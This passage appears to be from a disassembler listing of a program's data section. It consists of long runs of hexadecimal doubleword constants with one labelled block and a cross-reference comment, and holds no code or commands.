0E6FE7BADh, 0D9FE8D0Eh, 0E20288D8h, 0D904468Dh dd 527AE425h, 0E911186h, 1110A769h, 82A75C88h, 617E35A6h dd 0A5590406h, 77A5FEC1h, 0F97CBBE3h, 84C60FB6h, 0FA77B5D1h dd 236AA473h, 0A8058BEBh, 0D9C5C1E3h, 8CD01A2Ch, 24B19558h dd 71D3F9FDh, 15A09175h, 1DB4615Ch, 0CE898F46h, 490C80B7h dd 0F0FB3872h, 0C28B3FB8h, 0AE400264h, 7C61FD28h, 0AD1BED6Bh dd 1D2E2412h, 0B60D264Bh, 0E72808BCh, 0CD10BAD4h, 0E8F5348Fh dd 4BE03E0Ch, 157172E3h, 92C39415h, 298BF6BDh, 462FBC6Dh dd 2303C7F7h, 4AC219EAh, 7852668h, 6096531Ah, 110B795Bh dd 0DBAA89F5h, 0BF560CB0h, 16CF1A53h, 4A200928h, 3A39C102h dd 0D4BC083Ah, 775C2B03h, 6BDD04A5h, 892949C2h, 5BDEC327h dd 8FE3F418h, 604A1116h, 0D1A3E240h, 1D3E02E6h, 237B97CDh dd 61D886E5h, 50B68D28h, 0F7C60E08h, 0F9ECB543h, 9F586128h dd 476E94C9h, 0C779A015h, 9E540E5Ch, 0E4275D9Eh, 548D22ADh dd 55D0C440h, 5AD3538h, 79867CFDh, 4E02B722h, 5F7B8D2h dd 218D108Ah, 530AA0BBh, 629235DBh, 5492ADC0h, 908A5FB5h dd 467070A7h, 0BED210C0h, 994875A0h, 0A5136AAAh, 2A693319h dd 170F6E14h, 0B2EA5B50h, 58E63907h, 57C1002Eh, 3B24803Ah dd 242EB99Bh, 0CD976626h, 5A5BD9FEh, 3496B653h, 877F7C93h dd 0A085F021h, 0B43B097Bh, 46144827h, 43F8C4DAh, 6E0EB8C3h dd 0F7D4252Fh, 0DDAE3F2Bh, 3B4575BEh, 9078E9ABh, 3CFB32C9h dd 0E87F61E9h, 26D3BD88h, 839A71Bh, 0B6BDE95Bh, 1B884115h dd 0A483BC37h, 223FF12h, 2B31EEA9h, 835F5EA0h, 4C9157B2h dd 2D8FE9BEh, 0F409BA4Bh, 37DB72Ch, 0ADB4C6DEh, 0F93B7D32h dd 45AC41DDh, 1C548473h, 60D66B2Ah, 4B47441Bh, 0D517CC81h dd 0BA6D6732h, 9F265052h, 0DD7F556Bh, 954D5B92h, 37EF9624h dd 0D2399EC4h, 2DB7229Ch, 0D0288D1h, 0D532F1C0h, 0B1153F38h dd 7EEE0881h, 0A6CFC71Fh, 0AA0E8D78h, 0F79805B7h, 0B1CED56h dd 7AC9E447h, 0F67E3E88h, 8A307649h, 7BAA2EA5h, 0F1C4ADA6h dd 58C7630Ah, 0C8167Ch, 976CE5ADh, 0A69FEC4Dh, 0A2BC8607h dd 169A0E02h, 204BCA02h, 0D7462F09h, 9755C3C2h, 0D359B1Bh dd 0DB974636h, 0ED7089AAh, 598DEF8Ah, 0BA028E8Dh, 0B01A7D8Eh dd 0C37D781Dh, 0F49B5E9Ch, 824D20A8h, 0DA23B0ADh, 43B7B25Eh dd 4294391Dh, 42AAE41Ch, 7A638A0Ch, 22EA6D2Dh, 0AA4920D7h dd 71F6B27Bh, 74C266E2h, 58CBB9ACh, 9F69C1D7h, 576244B1h dd 62396D05h, 8F1D36A4h, 102D41DAh, 0FC54855Dh, 0C8771693h dd 18F3AD63h, 88AB1622h, 0DF68008Fh, 2F1C1F6Fh, 70FCDFAAh dd 230ECD3Ah, 1B1D2FA2h, 8E1BA1D7h, 0D7825F6Ch, 2D64C83Fh dd 0B62DA6F6h, 71A65924h, 50485401h, 0DFB7928Dh, 4F66762Bh dd 7BFC7ACBh, 72E9ECC6h, 44B6A515h, 4A48BD5Dh, 4105CBE5h dd 982FF207h, 0EA206C66h, 0FE04442Ah, 5E2298DAh, 77FC5BBh dd 5526BA31h, 2231D00Bh, 0B42CB3E2h, 1F18E151h, 0F2B73C15h dd 5148BB56h, 479C6AB4h, 0A3D0E330h, 5AE444B0h, 8801CBD4h dd 0E7E830C4h, 0B856D32h, 0F1376E38h, 0F7590884h, 54AA6678h dd 0E6758B18h, 0A4A5696Fh, 45ECB935h, 0E7125686h, 7ECDBFC9h dd 2FFEBC08h, 0A0574FA6h, 0E0473963h, 0FA9CDCDAh, 16914F4h dd 0A213747h, 3DF9D6C3h, 0E64ADDF2h, 0AEE64078h, 3DA0A77Bh dd 72C3BB08h, 0EFD4B1D6h, 3CCF3829h, 92DB7350h, 0B165697Fh dd 3B965FB6h, 0F10506E7h, 0C0253EDAh, 785E1122h, 32D1CEF1h dd 8CDD0A71h, 9F514225h, 8A9CBD7Ah, 4C7C511Eh, 0E0B0C9B0h dd 0C78BC59Eh, 7B133D68h, 0E14256B0h, 0A732587Eh, 0D4F72459h dd 2322EE59h, 0B30998E6h, 1D95DDADh, 11B34B62h, 412FF1BFh dd 0BF196527h, 996E6B1Bh, 0EBCC9FFh, 311423D9h, 478106C2h dd 0F84345A5h, 0E04D48B5h, 997350E2h, 0AAE8E4Bh, 47E7CF5Bh dd 71FCEDE2h, 3A85AAAAh, 0E84708FBh, 427953CDh, 8360BB6Bh dd 0CF37412Ah, 0D1D930B8h dd 0F3202FABh, 3EC2BB0h, 0A7921E62h, 2D0EA4D4h, 26819235h dd 55893413h, 0C0378FD4h, 50242107h, 0FC46BE28h, 9BB18F0Ah dd 259E7FFAh, 9A5DBD94h, 6153862h, 0FE5A22CBh, 1204583Ch dd 7CA1EB46h, 6DC2D4Eh, 0A08DAE00h, 9EDD5593h, 495D46F0h dd 533EA651h, 273A57E1h, 95521CEAh, 9E13928Ah, 0AD5ECD25h dd 0E7358BC3h, 96E9AFF0h, 0FF34673Eh, 0ACB9320h, 0D51642ABh dd 9B7FC00Ch, 3B011979h, 576E1B26h, 9ED4F706h, 0A2C34284h dd 0F3BFD9DBh, 117458BCh, 0F447AB6Ch, 541B74DFh, 9072053Ch dd 0FAF43DD0h, 2EDE4978h, 95AA642Ah, 96B71BE9h, 0F4CAD5FEh dd 797437EAh, 6F17F9F8h, 1C549DEBh, 0CD855108h, 0F9A640B2h dd 30CAAAEDh, 793682D6h, 640B63A1h, 478ECE38h, 0D59CB31Ah dd 0EB11DD0Dh, 246921B3h, 7478A135h, 0A71CBB07h, 9FF2F0E3h dd 0A9DE4D40h, 0A31BEBB7h, 0D0189905h, 0E92A1D47h, 76CB8446h dd 0CA7E92B8h, 0A0C75909h, 1C8CFC69h, 0B12C4E96h, 3A27943Dh dd 3CD42AF2h, 0EB7F5C96h, 3F082DA3h, 4C2BF1EEh, 6FF1C8E3h dd 250EA8C3h, 6EBE3DE5h, 0AE420DB7h, 5BD35223h, 761648D4h dd 9285C9C6h, 8288C1FCh, 8075E3E9h, 7A6259BDh, 0D6083301h dd 267D0640h, 4AF913DBh, 4049F03h, 2FE8B201h, 0CDBADF38h dd 45E3A08Eh, 2F9FC07Bh, 0BABE73A5h, 0F4520C63h, 0BBB30EEFh dd 0CD2B0E18h, 3684F7F1h, 0E580A402h, 955B925Ch, 0BEB56B12h dd 0CF5A754Ah, 8817585Ch, 0C611F8CEh, 0B6CDE35Ch, 0A51F89F2h dd 7FBCA04Ch, 0B29A0995h, 0EC999E89h, 0B4AC4D7Ah, 0F99D46FCh dd 0B555A897h, 0BB9DA44Fh, 0ECC1B88h, 12F6060Ch, 0F80CB716h dd 0E022D5E7h, 700941F3h, 0B2900EFBh, 21BA323Eh, 0F98D1973h dd 2F670DBAh, 0AD24E5C2h, 0E3178F9Ah, 0C1AEFE4h, 0EAC32ED7h dd 0C1D4DAABh, 0BEEA1D4Ch, 0D6E181C3h, 458BFE0Dh, 0CC0FE1CEh dd 16ABC422h, 5FA61C2Dh, 1E26A730h, 44B89F53h, 1F1A6370h dd 0AE9EF34Dh, 6E34504Ah, 0B3208064h, 2F4557E9h, 4EBFEAE5h dd 555C668Ch, 0A51B6349h, 518B1F86h, 2A9196DCh, 0F5FDE3D4h dd 4D0B65C2h, 297990C6h, 0C5B91FC6h, 49C2DD97h, 0A0892DACh dd 39A129F3h, 36FC7D24h, 314D440h, 59C32C1Dh, 12B1D3C3h dd 0D2E8332Eh, 368876B4h, 0FCF9EF66h, 6A145E75h, 0EA409C5Ah dd 0D6631965h, 42E55671h, 14B591EBh, 53959A84h, 917F57F7h dd 0CE4D4BA4h, 2F5432ABh, 6E9A0E92h, 48008CE3h, 0E24E9CDBh dd 0C224996Ch, 650F4393h, 45C48DBFh, 0BF119FA7h, 0E3292712h dd 0F973112Ah, 6FA6BF6Ah, 0D86AB4C0h, 8E623B03h, 0B2D57D06h dd 0D70A434Fh, 6278D8Dh, 0CE905C71h, 52E6C698h, 0C2DFDA03h dd 0FDE1C26h, 7DE43D12h, 51ABD500h, 213E78F0h, 33B7379Dh dd 555C0CD6h, 7BFCA441h, 872ADE0Ah, 0D32566C0h, 557EA209h dd 7FF94E4h, 0E4FFFD75h, 653B73BCh, 0B040DB1Ah, 0BF8F7A78h dd 0BE2F083Dh, 66267108h, 0CA55D7B6h, 8DF0B5ADh, 0BE194519h dd 0B261351Dh, 71B520D2h, 0FD5F1273h, 75C6B1B5h, 0FE510DC9h dd 9401F0C2h, 98D966F9h, 31CDFB91h, 180EA3F3h, 0D0BB3BB1h dd 0EF0BAF74h, 89A4EB14h, 94D7A4ECh, 6F1FF963h, 2EA7590Bh dd 98095106h, 0E8F949FBh, 40985AD7h, 577B19A9h, 0E75A196h dd 0A616F167h, 0D13C96A3h, 8BA47451h, 77D427C7h, 808B7F4Dh dd 0BEB73D20h, 0C49BBB1Eh, 1121004Ah, 506A2D58h, 3F7F04B0h dd 0F8FEAA07h, 511B5F4Bh, 203A1F33h, 46E1A9FCh, 506F82Dh dd 50BB6A92h, 0E2B976D3h, 82D83CE0h, 0F82D05EAh, 0CAA3EDDAh dd 0F6CC4BDFh, 0BC04A980h, 1FA02C92h, 6E48AADh, 0DEE1BE94h dd 4A7F9147h, 0BEF84AE7h, 21BFE166h, 0D6A9EA0h, 166EAEE0h dd 4F3065EFh, 9579A7F9h, 0C31225BDh, 8C4900B7h, 7D45259Ah dd 34F3C76Ah, 0A8BD778h, 0DBFB3099h, 0BC034EE2h, 0E0F95E6Ah dd 3BF207BCh, 0FF00F423h, 704E2ABEh, 2EDA8206h, 257BE894h dd 2C0D124Bh, 348B9720h, 940FC568h, 0CBAF259h, 744BD03h dd 0B7F9C420h, 94EBDE7Fh, 0DBFECAFEh, 1A7D0121h, 64BD1CC0h dd 0CBDD85FCh, 39771ECh, 6434750Fh, 64A0D0CBh, 673E6086h dd 36FB3763h, 0DE259135h, 5714ADD8h, 0DBD6DD4Ah, 4A7AF22Fh dd 40267016h, 3E0ED3BBh, 0EF860A05h, 8B7DBE67h, 830175D7h dd 8F125688h, 46BEB1C7h, 0B8187FF5h, 0B141AEABh, 2D9FC3ECh dd 61E377A7h, 4EE73EFDh, 6851EFh, 1BC3503Dh, 0CC1E27A4h dd 59FB1D8Fh, 432CFF5Dh, 0A6450AC4h, 10CEBB6Ah, 3CEE892Eh dd 0B75A1116h, 3E7422EAh, 0E3D48A4Ch, 2D691196h, 3499AE53h dd 121DC71h, 760A7CCAh, 3CD69171h, 0FAB6B0EDh, 6B1C8E64h dd 0E49804B1h, 3CDD53B0h, 91B05A3Ch, 0CC68ED9Eh, 9713C9F9h dd 31451D1h, 9A4CE226h, 5B4A44Ah, 1F38BB67h, 4A15D24Ah dd 9D2D59C2h, 58D3E97Eh, 841E0769h, 0DCBFB27Ch, 4EBCC334h dd 38DEDC91h, 6D686EA1h, 0CBC2E699h, 74B660E4h, 0EF0B9229h dd 0B531606Eh, 29898757h, 0B45F6248h, 4D6DD82Bh, 0D0903135h dd 0DC5AF1F5h, 0C758B301h, 0FF238A58h, 4363B69Bh, 0DD9CC40Fh dd 0B25FD20Ch, 50BEBF87h, 67126A14h, 0C92429ECh, 5744681Bh dd 61952DDDh, 2E4E78Dh, 0E7D60752h, 95895B0Ah, 17A91B10h dd 0C3AA1320h, 708E8407h, 0D4447C56h, 8EAA8139h, 7DD03217h dd 6726D63Ch, 25E4D71h, 82F58DB7h, 4DF5A165h, 0F2E2D64Fh dd 0A99963F1h, 0BECABFC2h, 0EEDC6182h, 20A5DF15h, 0A956062h dd 6FAB724Ch, 504E3102h, 3CA426E0h, 24A65F3Bh, 54CF0786h dd 0C131B2BCh, 18D18269h, 0D54BE211h, 1E6F8AB8h, 50F857A7h dd 33D1CE72h, 0D8B5B8E1h, 60C46505h, 32D3DC36h, 0F2DFB084h dd 0E74FE24Fh, 76027306h, 752767C7h, 0D78B7534h, 0E752C513h dd 0EE043534h, 8757EFDFh, 410AB777h, 0B5D84C93h, 736CF2E1h dd 0C451D8DDh, 0D006EBF9h, 569DDB55h, 0DE3C8F6Ah, 0F1B29A27h dd 0B7A7CE8Dh, 0A14E9232h, 3AA041E5h, 0BA700F54h, 0D90BB631h dd 9FFE0517h, 0A9EE4548h, 0E30B4E7Dh, 0A5F2D698h, 8151C689h dd 317AE8BFh, 10CB4176h, 762AB1F0h, 6E65F0C0h, 0B4A7F1D0h dd 0E5A055C8h, 7250E76Fh, 6EA65406h, 0B6CE2E96h, 47F47DEh dd 6C5B2143h, 0ADFD9BE6h, 36B41740h, 16DCAA26h, 0B3DFEA2h dd 0E7AD76Dh, 92088503h, 0CE575DC6h, 0E105E8E1h, 0CDD5B978h dd 2459F055h, 89CEB83Eh, 0E28E1395h, 0B97421BEh, 0ABE1E9DCh dd 2D2F2962h, 99AEF614h, 0DD028290h, 4D8E3E36h, 91413E0Eh dd 3E497F03h, 5B311CBBh, 0B152DE1Bh, 4578DE63h, 604235B2h dd 960099A1h, 7D3CA22Bh, 169B913Dh, 0CC4A0B5Fh, 0C6824F6Eh dd 8D8CF71Dh, 0FE24D11Dh, 65018E5Dh, 7883EAB6h, 0EE0958A9h dd 0EB93B23Ch, 94C27A47h, 5B8432A1h, 83955177h, 0F9724D5Ah dd 68260A5Ah, 466F78A4h, 0D5411C2Fh, 1C0FCB21h, 6F8754B7h dd 4EBBB708h, 0C5585180h, 38F05A7h, 4B7F5Ah, 2504AB04h dd 966910ACh, 93F19AC7h, 0BA226BA1h, 0EEF47AF3h, 0DC1D7DAEh dd 6CBDC580h, 84F137F5h, 44A1D831h, 74D7523h, 0CAE99EFFh dd 0DC89A82Fh, 1EE49605h, 21BB6908h, 6279B71Ah, 4EB5A86Ah dd 8E830E15h, 1EE00D5Eh, 317F4F35h, 0C8C74F41h, 426D8F36h dd 0F17EA9C9h, 2C9FC552h, 0D185FDDBh, 7F35A5C5h, 5A57C91Dh dd 0AD655A33h, 0C7A77E1Ch, 0F6083336h, 0D39ADAE5h, 731C8871h dd 0F5C1D282h, 0CE966145h, 109F64A2h, 97E45713h, 0F60F90B8h dd 0FA98348h, 406693B8h dd 0E8E9DB06h, 0BAAB48ADh, 674015AFh, 8797C9D2h, 34BE8184h dd 1FC4F88Dh, 19060D70h, 71FBFF6Ch, 0DED4BEB1h, 9C359B7Fh dd 69DF56E1h, 0AE4E40h, 9BBA768Eh, 40DA8185h, 40587B76h dd 7B6C2103h, 0E70C4064h, 673DD304h, 40DD875Ah, 53329D81h dd 2EC3429Ah, 4F72E83Eh, 9E548134h dword_49005C dd 2D2F5D25h, 0DB4C1358h, 81AF595Eh, 3CE410D4h, 0C01EF290h ; DATA XREF: .data:off_426B98o dd 25B197E2h, 26822B82h, 63DC4351h, 958EE7Fh, 0B24226AFh dd 0E2A9D41h, 0F3C5BDEAh, 0C8F5CCE8h, 37013640h, 7C5675F5h dd 167F6F25h, 93CE0124h, 94F8209Dh, 0E3C484BCh, 0E9B9E9C6h dd 8439DA95h, 0C21467B0h, 740D51DCh, 66F28FFAh, 5C101E6Ah dd 93FC0144h, 0AB1BA194h, 243CC807h, 1D6A3A8Eh, 0E248345Eh dd 9FBF382h, 0BDC8D27Fh, 102F561Eh, 0EE3663E8h, 0BCFE7C8Fh dd 6ECA4540h, 18CCF01Eh, 23E54AC9h, 0FAB4013Fh, 0A013B865h dd 0D9CAB44Eh, 748223B0h, 0F14F5B60h, 8C7FD16Dh, 75560B1Fh dd 70CF5EC3h, 77B47C7Ch, 0EE301BEAh, 1414454Bh, 0C813AFF6h dd 67033216h, 0A1074BF4h, 81530B07h, 0B04364E6h, 2781AF19h dd 38F6A01Ah, 0C6E3F96Dh, 8F7DB50Fh, 5539562Fh, 285B8040h dd 3FD7EC13h, 910A1073h, 0A6675117h, 959030C3h, 1A6F53FBh dd 1D97F4B3h, 954BC8AFh, 0CF908093h, 0DDF8874h, 16BD5E4Fh dd 1F80E56Ah, 0C1E64B69h, 0E220D5D7h, 0A04DA689h, 548B8CECh dd 0C277C3Eh, 0D7DC25BEh, 89CB04CBh, 0C7821E40h, 414ED711h dd 8CB9328Dh, 0ACD86A64h, 0E8187328h, 80BF1175h, 67B581DCh dd 0A5030480h, 0B4FC04ECh, 1AE0B66Eh, 9B1A7440h, 65351666h dd 31FC666Dh, 74ABC924h, 72F3B48Bh, 9BC0A3Dh, 96C7AD56h dd 0E6415D19h, 0BDE25736h, 1C6E50AAh, 0DD1B15D9h, 74861FB8h dd 6EED8370h, 0CBBB861Ah, 84BFF4E8h, 0C1BE0E83h, 0FE4C1DC7h dd 0D4BFE8C1h, 693DA35h, 7E6B86CBh, 23EC0CC4h, 59655F09h dd 0D63A659Ch, 7F9B8E9Bh, 9C9FB367h, 9D082F7Fh, 7FEC4DA2h dd 7D79233h, 0FF40E96Fh, 6E1EA756h, 3F2A0FBFh, 6BAF9FB2h dd 55AFFAA2h, 277C085Bh, 0CA72FB57h, 7D8B117Ah, 9D317AE5h dd 777739E1h, 0F04FAAD6h, 6091CCC2h, 0AA460B1Bh, 0FB51E3ECh dd 14364B5Bh, 0C8F5C6CBh, 130EB373h, 3A94693Eh, 47385880h dd 33074261h, 24FCFF84h, 7EC8D0C3h, 0F8EB7ADDh, 5360A41Dh dd 43CB9F66h, 0D3C15E9Fh, 0F822FD9Dh, 418508CBh, 44BAFE37h dd 8026E37Eh, 244768CAh, 0F32DF1F4h, 79F42637h, 1F378867h dd 0FBA1EC18h, 43850887h, 0CB6D6E77h, 0E07D2D58h, 0B600BC6h dd 0E406CD4Ch, 0EA8393A9h, 3C5A70B7h, 24E59E98h, 69BF800Dh dd 0E3AA7E23h, 0EB4118CAh, 5AB6B45h, 0C2842F0h, 33DE081Eh dd 5C136D8Eh, 0CA1EC232h, 0F71C46F4h, 6361A6A5h, 2F5A44CCh dd 4728587Fh, 630BFB3Ch, 0E9C9E118h, 0C51D79D6h, 5AAF28D5h dd 9FB20298h, 0D3340E0Eh, 3857323Ah, 0CD28D538h, 8F7E396Dh dd 0F86C1C7Bh, 1B111947h, 0CC2A6059h, 0C5C24D58h, 5A52BD94h dd 0F43AE4C8h, 0B16C216Ah, 0EBAEA610h, 936B679Ah, 949BA9D4h dd 42B36E49h, 0AB056A07h, 9E344F96h, 1887AD1Eh, 21DAF859h dd 2C2191D1h, 7A823281h, 4AF90CEEh, 0F5D4B59Bh, 0AE32C04Fh dd 133917F6h, 8C22FE5Eh, 7406645Ah, 0C632B2D5h, 2FCB55Ah dd 75F190E4h, 8A93E50Ah, 0B5D6E2B7h, 821FCF3Ah, 139948BEh dd 140C2FF7h, 6B7FF34Dh, 74BD58A5h, 0CA88C618h, 0B80AC30Eh dd 0CE3D934Ch, 54469B9Ch, 0A8573601h, 0C21FE881h, 0ACF17B7Eh dd 9B54A4EEh, 9D11EF19h, 9E0E8629h, 92B91198h, 679BE606h dd 0DA505BA9h, 0FDDCD43Ah, 0E2309F09h, 0AA72195Ah, 8062779Ah dd 94555DBh, 0F296450Eh, 847E9A79h, 32F52F4Ah, 0AFC93E63h dd 6E3F73Ah, 0D3DA98A5h, 0B29C9657h, 0BFBE0EA1h, 3C8D5CAFh dd 0A37EAA1Bh, 4DD7489Bh, 9547670Ch, 2DE24106h, 75E572DBh dd 0BAC0AD8Bh, 0F3F0EB5Ch, 632A5E63h, 234BD1E8h, 0C6C034EDh dd 0E48BF561h, 0E99EDC21h, 5B26619Ah, 0DBF2029Ah, 0DC089CDBh dd 0AF9ED2F3h, 1E1D805Ah, 0ED695BA1h, 0BE0E6E3Fh, 95CA8E09h dd 0CEFCC171h, 0AC2EF317h, 390A5C1Fh, 6FBF9BEAh, 283E3764h dd 0A0A17006h, 0C35B9345h, 9E434C4Ch, 3E6C11AEh, 0DE670523h dd 687CAA39h, 940C0AEEh, 60B5C88Ch, 90C633C5h, 459E85E1h dd 9D1CA8A7h, 1BF096E2h, 0EF0E8F5Dh, 0CE4945Bh, 0B40B0907h dd 0E6FAB6E7h, 0FFEFEFA7h, 0A00DCAEFh, 91D3330Ah, 446B3FA1h dd 0DD5C22ACh, 3A0948F1h, 4DEFD0C3h, 22654737h, 169A10A1h dd 45686F15h, 0A44BC5B2h, 0AEF1C419h, 0E650E106h, 63347BA3h dd 0F2B64A88h, 6EE15762h, 821B0AEh, 68BB2A51h, 5305EB90h dd 0A23D4D22h, 7593F063h, 4866836Ch, 0E4B9C3F7h, 0C93E5A37h dd 423C128h, 32FB54Eh, 3C24098Bh, 0ED00C3FEh, 4B117A77h dd 0E0927C57h, 0C6EDB7ABh, 7F56260Ch, 7BF9ACB4h, 7289608Dh dd 0D6608397h, 0AADAE458h, 4850B998h, 0A8E140E2h, 0DD43EEBBh dd 3226C4EBh, 25338107h, 0E52E68C4h, 0D8696BFDh, 8E5C1A80h dd 0AC6AE002h, 109A6A24h, 0BD7F2BDFh, 0CC6A2FE6h, 672B6CA4h dd 4922DF23h, 858E88F6h, 66551E07h, 34A1AF27h, 0F6576BFFh dd 0FB564068h, 4F80F389h, 9361E4D5h, 850E9323h, 0A8C2DA18h dd 58862950h, 0F1D2763Ah, 851D83BCh, 67C0D5EEh, 3E2B40DFh dd 1D781BB0h, 7BD5AF76h, 79A44BFBh, 3DD36B02h, 3C6A23D8h dd 2876F027h, 438A8A71h, 1A7AF431h, 53D20B93h, 0A6D405BBh dd 71D14514h, 0DE83C6F9h, 252B26F6h, 25C309D8h, 366CB46Eh dd 650404E9h, 2ABC1171h, 82D687Fh, 7E8986F6h, 0C7962F61h dd 282F75F9h, 0C8EEE253h, 0E84DC806h, 0C3620891h, 0F41D13h dd 11B048C8h, 0E09803D9h, 92621DFAh, 0EDE1C874h, 8EA2BC55h dd 0ECBDC152h, 19348Fh, 2ACF0170h, 74AA5F98h, 0B542AB38h dd 0B421160Bh, 7629719h, 3584084Dh, 118D81C7h, 0F82E001Bh dd 65393B86h, 22BD5091h, 1432DA03h, 0DB02D1D3h, 0F904D4C1h dd 8302DF57h, 7493AC2Fh, 27001259h, 0AEB58D44h, 0CC07F40Bh dd 46F7F6FDh, 40E39DDAh, 64A93EF0h, 9C8F71Ch, 0E0950DB7h dd 7107D12Ah, 817B8769h, 4718E273h, 2A8B9325h, 9787E9A7h dd 8893BC01h, 0AECD0454h, 33004B6Bh, 74AC2A06h, 0E6E20988h dd 0F13DC488h, 0FE87F317h, 1476400Bh, 1AB084B6h, 7F8879C9h dd 41681458h, 0C96906B2h, 53F2A55Bh, 34B9EE89h, 35523D9Eh dd 0AE92E1E8h, 0BFAF08B3h, 9D03CCF9h, 0FFF30A4Ah, 4DC32FE9h dd 978631C6h, 6AF378Dh, 9129AAAFh, 8DD940F3h, 273C098Ah dd 74CAFBC5h, 4BDB86C2h, 3FA818FBh, 0C609C0E1h, 4FA751F9h dd 62B42DDDh, 4BABDF80h, 0C2729EF4h, 8579BC16h, 6E82069h dd 0DE2F16AFh, 0E2D6F00Eh, 23AD853Fh, 0D11D71D9h, 2001ECF8h dd 432A12BCh, 0C5A0D5A1h, 51A0A325h, 0C69640B0h, 0A8FC9FA5h dd 71772819h, 0C88FC167h, 0B5AA6AF7h, 8398DFA2h, 224139B1h dd 47C31555h, 1D44EEE7h, 0C2B528A0h, 0B359D723h, 9CCEA0E9h dd 0CB8BB269h, 6696AE0Dh, 13C38712h, 0BEED72CAh, 0A06B1AA8h dd 17E53934h, 6BEF3AA9h, 0F0953512h, 4D19847Bh, 0D118C3C8h dd 4DE9546Bh, 2C91F775h, 2A23790Ah, 93541E07h, 40B5F78Bh dd 0F648475Bh, 0CE2A5117h, 0A0058A61h, 0C0E2D7A9h, 60CD5F73h dd 0B3DE98A4h, 0A8F9A8AFh, 0F1A9B43Fh, 0DAB3AA0Eh, 770839D0h dd 64D83044h, 0C60C1F59h, 3C15457Fh, 0B4472CCAh, 51FEDA7Ah dd 0C7D21C39h, 0A0A30859h, 449B2C0Fh, 0D9BDA67Ah, 60C7CBE0h dd 1E7E0E24h, 770467FCh, 0AC114C6Eh, 0FF008C5Ah, 0C8C3FBC2h dd 6849E2F6h, 95F405D1h, 0C389EFD4h, 0FD4EBA2Dh, 7B6AB25Ch dd 9FA73C0Dh, 0D86AF84Ch, 0A6423C80h, 0BEC1380Dh, 457DDF10h dd 0A28A8A4Fh, 0C130FC84h dd 4C1F7011h, 0CE3345A2h, 0F9EFEF95h, 0B38717E8h, 0B5ACF41Fh dd 74531131h, 0B1348E55h, 0C2F44E61h, 0AE5DBF0Bh, 864D0F69h dd 613DDC64h, 8C9323E2h, 49F252D7h, 89A510BCh, 1122E679h dd 9C85C2B1h, 14B0CCECh, 9D3DF9A8h, 0DE2C7835h, 0BA4A625Fh dd 0F6512D02h, 0A2E51950h, 9C7A7E37h, 0B04F35AFh, 89A54023h dd 3FA0A28h, 0A70A9FDFh, 3D737C7Ch, 0CDEE828Bh, 2D0EE0E5h dd 0AF1B64D0h, 0DA0C6FE3h, 696C9251h, 0B5A681C4h, 12AC3A0Eh dd 988957A6h, 0B688A04h, 342A5BB7h, 197358E4h, 3E70F84Ah dd 0F73B6D6h, 9ED2141Fh, 1548A2FFh, 0CB593C38h, 97E7E44Ch dd 0BD988508h, 1C7649D2h, 8C8D72CCh, 6715DEF4h, 49E3783Eh dd 0DCF973E3h, 3585F14h, 5D55AAB9h, 67C3F594h, 5C3DEC1Dh dd 0D9F146B9h, 237D1D0h, 0A7EE26A9h, 0E12C2C9Ch, 26177C85h dd 301F3C8Bh, 8EE67A85h, 57030357h, 6C0BEA55h, 16C92701h dd 95535ABh, 1D15ECA5h, 2340D1CCh, 0E01953CAh, 0BD132699h dd 0D73DE815h, 38C52E88h, 0BA9867B0h, 910D249Bh, 2E89016Ah dd 6817A511h, 2C28ED3Dh, 2EB5E3CAh, 8A5F3F6Dh, 59042D8Ah dd 90ECAB65h, 86D44C35h, 41677A2Dh, 3E4E113Fh, 0A9312813h dd 3800CBBh, 3C806F34h, 9BD9D92Ch, 1D215499h, 876135Ch dd 0C23A812h, 28BF6BA9h, 0AFEA22A8h, 7D7FD74Eh, 0E43EB32Ah dd 8F776F2Ah, 891DB1DDh, 3D850686h, 0F6446D10h, 0F4B77261h dd 8112BA0Eh, 3D415770h, 0FE95F312h, 74E6E224h, 4B4CC67Ah dd 7126F697h, 3AA2DB70h, 0D9D19D45h, 0F8CD645Ah, 0ED0E1C32h dd 25DB20D4h, 0D964AC13h, 0DA7CCC1h, 52C5C321h, 9FF544DFh dd 0F637240Ch, 756B9559h, 9284B490h, 7A0F9E79h, 0D9CD75B0h dd 0C9AF6391h, 0F97761B4h, 3E7BA5A1h, 46CB2CE8h, 0B183F598h dd 6CD87CAEh, 1AE406C1h, 0F3587415h, 0C294C5D5h, 7FFEC591h dd 88C99468h, 0EA1CDCEEh, 3F27ABB9h, 4F630BBCh, 6D100011h dd 0AEAB78A6h, 0BE8D784Dh, 0EDAFA9C2h, 0B8258530h, 0C03373Eh dd 1A2B476Ah, 0D9B160A4h, 0CA88CB3Ch, 0BC11EDE0h, 0B3843BE5h dd 0BECE0479h, 96F20CABh, 0E619F730h, 74D659D7h, 0ACE6CE16h dd 35075C43h, 0C4F59E75h, 61405CE8h, 4E91873h, 72476BF8h dd 0F2011903h, 0AAB4B19Bh, 12C77AEFh, 0D48CFB44h, 719A0CEBh dd 41A2B65Dh, 7FB7A94Dh, 0EDDEEE4Bh, 0B4D8A5B4h, 361D2176h dd 0D1E04882h, 645EB9C4h, 0E697CFDh, 1BD86B6Fh, 0FBCF75F1h dd 912E8C87h, 0B7BCB6ADh, 3230F057h, 0E2437347h, 0DC4EDC9Ch dd 0E4C50CBh, 8A08169Ch, 0F4CFF40Ah, 743561F7h, 5AD57F5Dh dd 0E3420208h, 978902EEh, 0F2F0E54h, 60DB5F85h, 706C094Eh dd 1B12B4F7h, 60331EAEh, 42661167h, 2463339Bh, 0DBDC034Bh dd 9D90060Fh, 0BB9624F4h, 0C8783BD1h, 3F3CCEE8h, 27CEA389h dd 223FC81Fh, 8850EB20h, 3BAB0AB6h, 0D958FCEh, 4113AFD8h dd 4DE06B75h, 0ED73BDCCh, 7D491C62h, 4E4EFC15h, 30200CEBh dd 348E613Bh, 0E7848049h, 6DF40765h, 0EEF294AFh, 0B610998Ah dd 627F6416h, 0A678A37Bh, 33F18B3Ah, 6B8B61Bh, 36C87D81h dd 12651A0Dh, 8EC4E76Ah, 0F7FA212Ch, 3BF27F47h, 0EF6EA65Fh dd 0CD8ED1CFh, 2F79F9AEh, 3240DBA6h, 65CA1D4h, 0D70848D1h dd 0AD1E4D41h, 0E114C913h, 669D88B7h, 81C0DB47h, 6756E568h dd 9B6BA1FEh, 381E3354h, 11F72B2Dh, 0F81E5782h, 0BDDDA2Fh dd 58F1EE09h, 209D5D19h, 0C133D159h, 4F6293F8h, 6F936A01h dd 0C415BC66h, 0E4AF131Ah, 6469D2A8h, 469838Eh, 5D662353h dd 74CBD291h, 56794522h, 2F129C2Fh, 0B0802EF7h, 2BDC6770h dd 0D0AD7084h, 97F2EB76h, 2734193h, 0A1C121BDh, 0B085073h dd 752110ACh, 